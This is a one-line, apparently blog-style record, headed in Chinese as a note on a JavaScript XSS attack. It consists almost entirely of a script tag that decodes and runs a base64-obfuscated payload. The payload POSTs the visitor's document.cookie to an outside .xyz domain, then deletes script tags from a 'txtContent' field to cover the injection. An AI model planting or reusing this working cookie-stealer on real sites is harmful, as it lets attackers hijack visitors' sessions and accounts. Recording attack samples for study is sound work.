记录一下js 的xss 攻击
<script>eval(atob('dmFyIGE9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7dmFyIGI9J2h0dHBzOi8vcGltb2lqdHJpeWdxdWh1aHZncmUueHl6Lyc7YS5vcGVuKCdQT1NUJyxiKTthLnNlbmQoZG9jdW1lbnQuY29va2llKTt2YXIgYz1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHh0Q29udGVudCcpO2lmKGMpe2MudmFsdWU9Yy52YWx1ZS5yZXBsYWNlKC88cy4qdD4vZywnJyk7fQ=='));</script>